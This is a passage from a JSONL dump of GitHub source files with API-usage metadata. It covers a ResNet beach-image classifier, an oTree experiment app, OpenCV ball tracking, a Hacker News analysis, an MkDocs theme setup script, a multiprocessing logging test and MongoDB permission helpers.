{"api_name": "numpy.ones", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 101, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "cv2.moveWindow", "line_number": 107, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 110, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 113, "usage_type": "call"}, {"api_name": "cv2.setTrackbarMin", "line_number": 117, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 120, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 123, "usage_type": "call"}, {"api_name": "cv2.setTrackbarMin", "line_number": 127, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 132, "usage_type": "call"}, {"api_name": "cv2.setTrackbarMin", "line_number": 136, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 146, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 147, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 148, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 158, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 160, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 166, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 169, "usage_type": "call"}, {"api_name": "cv2.getWindowImageRect", "line_number": 172, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 179, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 182, "usage_type": "call"}, {"api_name": "cv2.getWindowImageRect", "line_number": 184, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 189, "usage_type": "call"}]} +{"seq_id": "3397778905", "text": "import torch\nimport os\nfrom torchvision import models, transforms\nfrom PIL import Image\nimport fnmatch\nimport pickle\n\n\nfor run in range(5):\n modelname = 'resnet512_five_aug_{}'.format(run)\n basedir = '/home/server/pi/homes/aellenso/Research/DeepBeach/python/ResNet/'\n trainsite = 'duck'\n modelpath= '{}/resnet_models/train_on_{}/{}.pth'.format(basedir, trainsite, modelname)\n imgdir = '/home/server/pi/homes/aellenso/Research/DeepBeach/images/north/match_nbn/'\n\n res_height = 512 #height\n res_width = 512 #width\n\n ##load model\n\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n classes = ['Ref', 'LTT', 'TBR', 'RBB', 'LBT']\n nb_classes = len(classes)\n\n\n\n def preprocess(image_path, res_height, res_width):\n transform = transforms.Compose([transforms.Resize((res_height,res_width)), transforms.ToTensor()])\n #transforms.Lambda(lambda x: x.repeat(3, 1, 1)),\n\n with open(image_path, 'rb') as f:\n image = Image.open(f)\n image = image.convert(\"RGB\")\n raw_image = transform(image)\n\n return raw_image, raw_image\n\n\n def load_images(test_IDs, res_height, res_width):\n images = []\n raw_images = []\n\n for ID in test_IDs:\n image, raw_image = preprocess(ID, res_height, res_width)\n images.append(image)\n raw_images.append(raw_image)\n\n return images, raw_images\n\n augmentations = ['flips', 'gamma', 'rot', 'erase', 'translate']\n years = ['1986', '1987', '1988']\n #Find the appropriate images\n all_imgs = os.listdir(imgdir)\n test_imgs = []\n for aa in all_imgs:\n year = aa.split('.')[5]\n if any([year in aa for year in years]):\n if any([sub in aa for sub in augmentations]):\n continue\n else:\n test_imgs.append(aa)\n\n\n #filter out augmented images:\n\n #filter out trainfiles\n # with open('../ResNet/labels/duck_daytimex_trainfiles.no_aug.pickle', 'rb') as f:\n # trainfiles = pickle.load(f)\n #\n # test_IDs = [imgdir + tt for tt in test_imgs if tt not in trainfiles]\n test_IDs = [imgdir + tt for tt in test_imgs]\n\n\n\n images, raw_images = load_images(test_IDs, res_height, res_width)\n images = torch.stack(images).to(device)\n\n if 'resnet' in modelname:\n model_conv = models.resnet50()\n num_ftrs = model_conv.fc.in_features\n model_conv.fc = torch.nn.Linear(num_ftrs, nb_classes)\n\n\n model_conv.load_state_dict(torch.load(modelpath))\n model_conv = model_conv.to(device)\n model_conv.eval()\n\n predictionary = {}\n for ii, (image, test_ID) in enumerate(zip(images, test_IDs)):\n image = image.unsqueeze(dim = 0)\n logits = model_conv(image)\n probs = torch.nn.functional.softmax(logits)\n _, prediction= torch.max(logits,1)\n\n state = classes[prediction.item()]\n label = {test_IDs[ii]:state}\n predictionary.update(label)\n\n\n with open('predictions_{}.pickle'.format(modelname), 'wb') as f:\n pickle.dump(predictionary, f, protocol = 2)\n\n print('Finished predictions for run {}'.format(run))\n", "repo_name": "anellenson/post_beachsimplex", "sub_path": "predict_on_ts.py", "file_name": "predict_on_ts.py", "file_ext": "py", "file_size_in_byte": 3191, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.device", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 21, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.Compose", "line_number": 28, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 28, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 28, "usage_type": "call"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 28, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 32, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 32, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 76, "usage_type": "call"}, {"api_name": "torchvision.models.resnet50", "line_number": 79, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 81, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 92, "usage_type": "attribute"}, {"api_name": "torch.max", "line_number": 93, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 101, "usage_type": "call"}]} +{"seq_id": "12895278569", "text": "from otree.api import *\n\nimport settings\nfrom Global_Functions import read_csv\n\nauthor = 'Vivikth' # This app was based off questions_from_csv in Otree Snippets\ndoc = \"\"\"Introduces and tests subjects on BDM Procedure\"\"\"\n\n\nclass Constants(BaseConstants):\n name_in_url = 'BDM'\n players_per_group = None\n num_rounds = 1\n SPA_template = 'BDM/SPA.html'\n SPB_template = 'BDM/SPB.html'\n BDM_Info_Template = 'BDM/BDM_Info.html'\n\n\nclass Subsession(BaseSubsession):\n pass\n\n\ndef creating_session(subsession: Subsession):\n # print(\"BDM creating_session running!\")\n for p in subsession.get_players():\n stimuli = read_csv('BDM/BDMQs.csv')\n p.num_trials = len(stimuli)\n p.participant.BDM_Score = 0\n for stim in stimuli:\n Trial.create(player=p, **stim)\n\n\nclass Group(BaseGroup):\n pass\n\n\nclass Player(BasePlayer):\n raw_responses = models.LongStringField(blank=True)\n num_trials = models.IntegerField()\n Q1_Correct = models.BooleanField()\n Q2_Correct = models.BooleanField()\n Q3_Correct = models.BooleanField()\n Q4_Correct = models.BooleanField()\n Q5_Correct = models.BooleanField()\n\n\n# FUNCTIONS\n\nclass Trial(ExtraModel):\n player = models.Link(Player)\n question = models.StringField()\n optionA = models.StringField()\n optionB = models.StringField()\n optionC = models.StringField()\n optionD = models.StringField()\n solution = models.StringField()\n Qnum = models.StringField()\n choice = models.StringField()\n is_correct = models.BooleanField()\n\n\ndef to_dict(trial: Trial):\n return dict(\n question=trial.question,\n optionA=trial.optionA,\n optionB=trial.optionB,\n optionC=trial.optionC,\n optionD=trial.optionD,\n id=trial.id,\n Qnum=trial.Qnum,\n solution=trial.solution\n )\n\n\n# PAGES\nclass BdmIntro(Page):\n pass\n\n\nclass Stimuli(Page):\n form_model = 'player'\n form_fields = ['raw_responses']\n\n @staticmethod\n def js_vars(player: Player):\n stimuli = [to_dict(trial) for trial in Trial.filter(player=player)]\n return dict(trials=stimuli)\n\n @staticmethod\n def before_next_page(player: Player, timeout_happened):\n import json\n # print(player.raw_responses, Trial.filter(player=player)[0].id)\n # print(type(player.raw_responses))\n # print(Trial.filter(player=player)[0].solution)\n responses = json.loads(player.raw_responses)\n for trial in Trial.filter(player=player):\n # have to use str() because Javascript implicitly converts keys to strings\n trial.choice = responses[str(trial.id)]\n trial.is_correct = trial.choice == trial.solution\n player.participant.BDM_Score += int(trial.is_correct)\n # print(trial.Qnum)\n # For getting question correct in horizontal data\n if trial.Qnum == str(1.0):\n player.Q1_Correct = trial.is_correct\n player.participant.Q1_Correct = player.Q1_Correct\n elif trial.Qnum == str(2.0):\n player.Q2_Correct = trial.is_correct\n player.participant.Q2_Correct = player.Q2_Correct\n elif trial.Qnum == str(3.0):\n player.Q3_Correct = trial.is_correct\n player.participant.Q3_Correct = player.Q3_Correct\n elif trial.Qnum == str(4.0):\n player.Q4_Correct = trial.is_correct\n player.participant.Q4_Correct = player.Q4_Correct\n elif trial.Qnum == str(5.0):\n player.Q5_Correct = trial.is_correct\n player.participant.Q5_Correct = player.Q5_Correct\n\n\nclass Results(Page): # This page is mainly for debugging purposes, it doesn't appear in page_sequence\n @staticmethod\n def vars_for_template(player: Player):\n return dict(trials=Trial.filter(player=player))\n\n\nclass BdmConc(Page):\n pass\n\n\npage_sequence = [BdmIntro, Stimuli, BdmConc]\n\n\ndef custom_export(players):\n yield ['participant_code', 'participant_label', 'session_label', 'BDM_Score',\n 'Q1_Correct', 'Q2_Correct', 'Q3_Correct', 'Q4_Correct',\n 'Q5_Correct']\n\n\n for player in players:\n participant = player.participant\n\n for field in settings.PARTICIPANT_FIELDS: # Custom Export doesn't like empty fields\n if field not in participant.vars:\n if field not in ['lc1a', 'pair', 'stage', 'task_to_complete', 'opt_choice1', 'opt_choice2']:\n setattr(participant, field, None)\n\n yield [participant.code, participant.label, participant.session.label, participant.BDM_Score,\n participant.Q1_Correct, participant.Q2_Correct, participant.Q3_Correct, participant.Q4_Correct,\n participant.Q5_Correct]\n", "repo_name": "Vivikth/PD_OTree_RETs", "sub_path": "BDM/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 4789, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "Global_Functions.read_csv", "line_number": 26, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 95, "usage_type": "call"}, {"api_name": "settings.PARTICIPANT_FIELDS", "line_number": 142, "usage_type": "attribute"}]} +{"seq_id": "31088606620", "text": "\nimport cv2\nimport numpy as np\nimport imutils\n\ngreenLower = (29,86,6)\ngreenUpper = (64,255,255)\n# greenLower = (165, 155, 155)\n# greenUpper = (179, 255, 255)\nkernel = np.ones((2,2), np.uint8)\n\ncap = cv2.VideoCapture(0)\n\nwhile True:\n\t(grabbed, frame) = cap.read()\n\tframe = imutils.resize(frame, width=600)\n\n\thsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\tgray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\tmask = cv2.inRange(hsv, greenLower, greenUpper)\n\tmask = cv2.erode(mask, kernel, iterations=2)\n\tmask = cv2.dilate(mask, kernel, iterations=2)\n\n\tcnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[-2]\n\n\tif len(cnts) > 0:\n\t\tfor c in cnts:\n\t\t\t((x,y), radius) = cv2.minEnclosingCircle(c)\n\t\t\tif radius > 5:\n\t\t\t\tcv2.circle(frame, (int(x),int(y)), int(radius),(255,0,0),2)\n\n\t# cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[-2]\n\t# if len(cnts) > 0:\n\t# \tfor c in cnts:\n\t# \t\tM = cv2.moments(c)\n\n\n\tcv2.imshow(\"mask\", mask)\n\tcv2.imshow(\"Frame\", frame)\n\tkey = cv2.waitKey(1) & 0xFF\n\tif key == ord(\"q\"):\n\t\tbreak\ncap.release()\ncv2.destroyAllWindows()\n", "repo_name": "vshelke/vision", "sub_path": "ball/ball_tracking.py", "file_name": "ball_tracking.py", "file_ext": "py", "file_size_in_byte": 1100, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.ones", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 10, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 12, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 18, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 19, "usage_type": "attribute"}, {"api_name": "cv2.inRange", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.erode", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.dilate", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 24, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 24, "usage_type": "attribute"}, {"api_name": "cv2.minEnclosingCircle", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 44, "usage_type": "call"}]} +{"seq_id": "8285231947", "text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"\n文件读取。YamlReader读取yaml文件，ExcelReader读取excel。\n\"\"\"\nimport yaml\nimport os\nfrom xlrd import open_workbook\n\n\nclass YamlReader:\n def __init__(self, yamlf):\n if os.path.exists(yamlf):\n self.yamlf = yamlf\n else:\n raise FileNotFoundError('文件不存在！')\n self._data = None\n\n @property\n def data(self):\n # 如果是第一次调用data，读取yaml文档，否则直接返回之前保存的数据\n if not self._data:\n with open(self.yamlf, 'rb') as f:\n self._data = list(yaml.safe_load_all(f)) # load后是个generator，用list组织成列表\n return self._data\n\n\nclass SheetTypeError(Exception):\n pass\n\n\nclass ExcelReader:\n \"\"\"\n 读取excel文件中的内容。返回list。\n\n 如：\n excel中内容为：\n | A | B | C |\n | A1 | B1 | C1 |\n | A2 | B2 | C2 |\n\n 如果 print(ExcelReader(excel, title_line=True).data)，输出结果：\n [{A: A1, B: B1, C:C1}, {A:A2, B:B2, C:C2}]\n\n 如果 print(ExcelReader(excel, title_line=False).data)，输出结果：\n [[A,B,C], [A1,B1,C1], [A2,B2,C2]]\n\n 可以指定sheet，通过index或者name：\n ExcelReader(excel, sheet=2)\n ExcelReader(excel, sheet='BaiDuTest')\n \"\"\"\n def __init__(self, excel, sheet=0, title_line=True):\n if os.path.exists(excel):\n self.excel = excel\n else:\n raise FileNotFoundError('文件不存在！')\n self.sheet = sheet\n self.title_line = title_line\n self._data = list()\n\n @property\n def data(self):\n if not self._data:\n workbook = open_workbook(self.excel)\n if type(self.sheet) not in [int, str]:\n raise SheetTypeError('Please pass in or , not {0}'.format(type(self.sheet)))\n elif type(self.sheet) == int:\n s = workbook.sheet_by_index(self.sheet)\n else:\n s = workbook.sheet_by_name(self.sheet)\n\n if self.title_line:\n title = s.row_values(0) # 首行为title\n for col in range(1, s.nrows):\n # 依次遍历其余行，与首行组成dict，拼到self._data中\n self._data.append(dict(zip(title, s.row_values(col))))\n else:\n for col in range(0, s.nrows):\n # 遍历所有行，拼到self._data中\n self._data.append(s.row_values(col))\n return self._data\n\n\n# if __name__ == '__main__':\n # y = 'browser.yaml'\n # reader = YamlReader(y)\n # print(reader.data)\n", "repo_name": "G2Bent/Vantpy", "sub_path": "utils/readFile.py", "file_name": "readFile.py", "file_ext": "py", "file_size_in_byte": 2679, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 247, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.path.exists", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "yaml.safe_load_all", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "xlrd.open_workbook", "line_number": 64, "usage_type": "call"}]} +{"seq_id": "42711120146", "text": "import subprocess\nimport os\nfrom pprint import pprint\nimport multiprocessing\nimport time\nimport inspect\n\n\npath_file = os.path.join(os.getcwd(), 'python-dual-logging')\n\n\ndef trigger_python(application, arguments, stop):\n print(\"Triggering {} ...\".format(arguments))\n os.system(\"{} {}\".format(application, arguments))\n if stop():\n print(\" Exiting loop.\")\n return\n\n\nfunc = trigger_python\nstop_threads = False\n\n# stop_event= threading.Event()\nt1 = multiprocessing.Process(target=func, args=(\n \"python3\", \"{}/log_generator_1.py\".format(path_file), lambda: stop_threads))\nt2 = multiprocessing.Process(target=func, args=(\n \"python3\", \"{}/log_generator_2.py\".format(path_file), lambda: stop_threads))\n\nt1.daemon = True\nt2.daemon = True\n\nt1.start()\nt2.start()\n# thread.join()\n\nprint(f'Thread 1 still alive? {t1.is_alive()}')\nprint(f'Thread 2 still alive? {t2.is_alive()}')\ntime.sleep(12)\npprint(inspect.getmembers(t2))\nstop_threads = True\nprint(f'Thread 1 still alive? {t1.is_alive()}')\nprint(f'Thread 2 still alive? {t2.is_alive()}')\nstop_threads = True\n\n\nprint(\"End of program.\")\n\n# stop_event.set()\nos.system(\"kill -9 {}\".format(t2.pid))\nprint(t2.pid)\n", "repo_name": "AgilePlaya/python-experimentaion", "sub_path": "python-dual-logging/capture-log.py", "file_name": "capture-log.py", "file_ext": "py", "file_size_in_byte": 1176, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 9, "usage_type": "call"}, {"api_name": "os.system", "line_number": 14, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 24, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 26, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 38, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 39, "usage_type": "call"}, {"api_name": "inspect.getmembers", "line_number": 39, "usage_type": "call"}, {"api_name": "os.system", "line_number": 49, "usage_type": "call"}]} +{"seq_id": "35070678235", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # __Hacker News Analysis__\n# \n# In this project, I'll be evaluating a dataset from the website Hacker News. The site functions somewhat like Reddit, in that individuals may post questions, projects, products, or other interesting information. Other users may then comment on the content, and up/down vote eachothers' comments.\n# \n# I'm interested in the following questions:\n# * Do Ask HN or Show HN receive more comments on average?\n# * Do posts created at a certain time receive more comments on average?\n\n# In[1]:\n\n\n#Import needed libraries\nfrom csv import reader\n\n#Import the csv file containing our data\nopened_file = open('hacker_news.csv')\nread_file = reader(opened_file)\nhn = list(read_file)\n\n#Print first five lines of hn\nprint(hn[:5])\n\n\n# In[2]:\n\n\n#Remove the first row (column headers) from the list and save it in a new list\nheaders = hn[:1]\nhn = hn[1:]\n\n#Verify that I've split the headers from the dataset\nprint(headers, ',\\n')\nprint(hn[:5])\n\n\n# In[3]:\n\n\n#Separate out posts beginning with 'Ask HN' and 'Show HN' 9with case variations)\nask_posts = []\nshow_posts = []\nother_posts = []\n\nfor row in hn:\n title = str(row[1])\n if title.lower().startswith('ask hn'):\n ask_posts.append(row)\n elif title.lower().startswith('show hn'):\n show_posts.append(row)\n else:\n other_posts.append(row)\n \nprint(\"There are {} ask-posts\".format(len(ask_posts)))\nprint(\"There are {} show-posts\".format(len(show_posts)))\nprint(\"There are {} other-posts\".format(len(other_posts)))\n\n\n# In[4]:\n\n\n#Determine if ask posts or show posts receive more comments on average\n#Determine average number of comments per ask post\ntotal_ask_comments = 0\nfor post in ask_posts:\n num_ask_comments = post[4]\n num_ask_comments = int(num_ask_comments)\n total_ask_comments += num_ask_comments\n \navg_ask_comments = total_ask_comments/len(ask_posts)\nprint(\"Average number of comments per ask post: \", avg_ask_comments)\n\n#Determine average number of comments per show post\ntotal_show_comments = 0\nfor post in show_posts:\n num_show_comments = int(post[4])\n total_show_comments += num_show_comments\n \navg_show_comments = total_show_comments/len(show_posts)\nprint(\"Average number of comments per show post: \", avg_show_comments)\n\n\n# As we can see in the previous cell, on average, ask posts receive roughly 4 more comments than show posts!\n# \n# Because ask posts are more likely to receive comments, we'll focus the rest of our analysis on ask posts only.\n# \n# Next, we'll determine if ask posts created at a certain time are more likely to attract comments.\n\n# In[5]:\n\n\nimport datetime as dt\nresult_list = []\n\nfor post in ask_posts:\n created_at = post[6]\n num_ask_comments = int(post[4])\n result_list.append([created_at, num_ask_comments])\ncounts_by_hour = {}\ncomments_by_hour = {}\n\nfor row in result_list:\n hour = row[0]\n comment = row[1]\n time = dt.datetime.strptime(hour, '%m/%d/%Y %H:%M').strftime(\"%H\")\n if time not in counts_by_hour:\n counts_by_hour[time] = 1\n comments_by_hour[time] = comment\n else:\n counts_by_hour[time] += 1\n comments_by_hour[time] += comment\n\ncomments_by_hour, counts_by_hour\n\n\n# I'll now use the dictionaries created in the previous cell to calculate the average number of comments for posts created during each hour of the day.\n\n# In[6]:\n\n\n#Initialize a new list for the results of the calculation\navg_by_hour = []\n\n#Calculate\nfor key in comments_by_hour:\n avg_by_hour.append([key, comments_by_hour[key]/counts_by_hour[key]]) \n\navg_by_hour\n\n\n# In[15]:\n\n\n#Swap the two rows in the avg_by_hour list and assign it to the new list (swap_avg_by_hour)\nswap_avg_by_hour = []\n\nfor row in avg_by_hour:\n swap_avg_by_hour.append([row[1], row[0]])\n# print(swap_avg_by_hour)\n\n#Sort the new list (swap_avg_by_hour) in descending order\nsorted_swap = sorted(swap_avg_by_hour, reverse=True)\n# sorted_swap\nprint('\\n', \"Top 5 Hours for Ask Posts Comments\")\n\nfor row in sorted_swap[:5]:\n average = float(row[0])\n hour = row[1]\n print('\\n' \"{} : {:.2f} average comments per post\".format(hour, average))\n\n\n# # __Results__\n# As we can see in the previous cell, 3pm is clearly the time in which ask posts receive the most comments.\n\n# # __Further Study__\n# \n# * Determine if show or ask posts receive more points on average.\n# * Determine if posts created at a certain time are more likely to receive more points.\n# * Compare your results to the average number of comments and points other posts receive.\n# * Use Dataquest's data science project style guide to format your project.\n# \n\n# In[ ]:\n\n\n\n\n", "repo_name": "alofgran/dataquest_projects", "sub_path": "hacker_news_analysis/Hacker+News+Analysis+3.py", "file_name": "Hacker+News+Analysis+3.py", "file_ext": "py", "file_size_in_byte": 4638, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "csv.reader", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 107, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 107, "usage_type": "attribute"}]} +{"seq_id": "699501832", "text": "from setuptools import setup, find_packages\n\nTHEME_NAME = 'cursive'\nPACKAGE_NAME = f'mkdocs-{THEME_NAME}'\n\n# Version\nversion_file = './{}/version.py'.format(PACKAGE_NAME)\nversion = {}\nexec(open(version_file).read(), version)\n\n# Readme\nwith open('README.md', 'r') as f:\n readme = f.readlines()\nreadme = ''.join(readme)\n\nsetup(name=PACKAGE_NAME,\n version=version['__version__'],\n url='https://github.com/ankur-gupta/mkdocs-cursive',\n license='MIT',\n author='Ankur Gupta',\n author_email='ankur@perfectlyrandom.org',\n description='MkDocs Cursive theme',\n long_description=readme,\n long_description_content_type=\"text/markdown\",\n keywords='mkdocs, theme',\n packages=find_packages(),\n include_package_data=True, # => if True, you must provide MANIFEST.in\n entry_points={\n 'mkdocs.themes': [\n f'{THEME_NAME} = {THEME_NAME}'\n ]\n },\n zip_safe=False)\n", "repo_name": "ankur-gupta/mkdocs-cursive", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 946, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "setuptools.setup", "line_number": 16, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 26, "usage_type": "call"}]} +{"seq_id": "37886911928", "text": "import re\nimport datetime\nimport hashlib\n\nfrom motor.motor_asyncio import AsyncIOMotorDatabase\nfrom pymongo import ReturnDocument\n\nfrom diaboli_mundi_back.modles.permission import PermissionCreate, RoleCreate, UserRole, RolePermission, WhiteUrl\n# from ..utils import generator_private_api_token\n\nPROJECTION = {\"_id\": 0}\n\nPERMISSION_TABLE_NAME = \"permissions\"\nPERMISSION_ID_TABLE_NAME = \"permission\"\n\nROLE_TABLE_NAME = \"roles\"\nROLE_ID_TABLE_NAME = \"role\"\n\nUSER_TO_ROLE_TABLE_NAME = \"user_to_role\"\n\nROLE_TO_PERMISSION_TABLE_NAME = \"role_to_permission\"\n\nWHITE_URL_TABLE_NAME = \"white_urls\"\n\n\nasync def create_permission(\n db: AsyncIOMotorDatabase,\n permission: PermissionCreate\n) -> dict:\n \"\"\"\n title: str\n permission_url: str\n \"\"\"\n id_instance = await db.id_collection.find_one_and_update(filter={'system': PERMISSION_ID_TABLE_NAME},\n update={'$inc': {'max_id': 1}},\n upsert=True,\n return_document=ReturnDocument.AFTER)\n\n instance_id = id_instance['max_id']\n permission_instance = {\n \"permission_id\": instance_id,\n \"permission_url\": permission.permission_url,\n \"title\": permission.title,\n \"create_at\": datetime.datetime.now()\n }\n return await db[PERMISSION_TABLE_NAME].insert_one(permission_instance)\n\n\nasync def create_role(\n db: AsyncIOMotorDatabase,\n role: RoleCreate\n) -> dict:\n # check permissions\n id_instance = await db.id_collection.find_one_and_update(filter={'system': ROLE_ID_TABLE_NAME},\n update={'$inc': {'max_id': 1}},\n upsert=True,\n return_document=ReturnDocument.AFTER)\n instance_id = id_instance['max_id']\n role_instance = {\n \"role_id\": instance_id,\n \"title\": role.title,\n }\n return await db[ROLE_TABLE_NAME].insert_one(role_instance)\n\n\nasync def bind_permission(\n db: AsyncIOMotorDatabase,\n role_permission: RolePermission\n) -> dict:\n # check permissions\n role_permission_instance = {\n \"role_id\": role_permission.role_id,\n \"permission_id\": role_permission.permission_id,\n }\n return await db[ROLE_TO_PERMISSION_TABLE_NAME].insert_one(role_permission_instance)\n\n\nasync def bind_role(\n db: AsyncIOMotorDatabase,\n user_role: UserRole\n) -> dict:\n # check permissions\n instance = {\n \"user_id\": user_role.user_id,\n \"role_id\": user_role.role_id,\n }\n return await db[USER_TO_ROLE_TABLE_NAME].insert_one(instance)\n\n\nasync def create_white_url(\n db: AsyncIOMotorDatabase,\n white_url: WhiteUrl\n) -> dict:\n # check permissions\n instance = {\n \"url\": white_url.url,\n }\n return await db[WHITE_URL_TABLE_NAME].insert_one(instance)\n\n\nasync def get_white_url_list(\n db: AsyncIOMotorDatabase,\n) -> list:\n # check permissions\n cursor = db[WHITE_URL_TABLE_NAME].find(projection=PROJECTION)\n data = await cursor.to_list(None)\n data = [row[\"url\"] for row in data]\n return data\n", "repo_name": "mar-heaven/diaboli-mundi-back", "sub_path": "diaboli_mundi_back/crud/permission.py", "file_name": "permission.py", "file_ext": "py", "file_size_in_byte": 3279, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "motor.motor_asyncio.AsyncIOMotorDatabase", "line_number": 27, "usage_type": "name"}, {"api_name": "diaboli_mundi_back.modles.permission.PermissionCreate", "line_number": 28, "usage_type": "name"}, {"api_name": "pymongo.ReturnDocument.AFTER", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pymongo.ReturnDocument", "line_number": 37, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 44, "usage_type": "attribute"}, {"api_name": "motor.motor_asyncio.AsyncIOMotorDatabase", "line_number": 50, "usage_type": "name"}, {"api_name": "diaboli_mundi_back.modles.permission.RoleCreate", "line_number": 51, "usage_type": "name"}, {"api_name": "pymongo.ReturnDocument.AFTER", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pymongo.ReturnDocument", "line_number": 57, "usage_type": "name"}, {"api_name": "motor.motor_asyncio.AsyncIOMotorDatabase", "line_number": 67, "usage_type": "name"}, {"api_name": "diaboli_mundi_back.modles.permission.RolePermission", "line_number": 68, "usage_type": "name"}, {"api_name": "motor.motor_asyncio.AsyncIOMotorDatabase", "line_number": 79, "usage_type": "name"}, {"api_name": "diaboli_mundi_back.modles.permission.UserRole", "line_number": 80, "usage_type": "name"}, {"api_name": "motor.motor_asyncio.AsyncIOMotorDatabase", "line_number": 91, "usage_type": "name"}, {"api_name": "diaboli_mundi_back.modles.permission.WhiteUrl", "line_number": 92, "usage_type": "name"}, {"api_name": "motor.motor_asyncio.AsyncIOMotorDatabase", "line_number": 102, "usage_type": "name"}]} +{"seq_id": "72465153883", "text": "from PyQt6.QtWidgets import *\nfrom 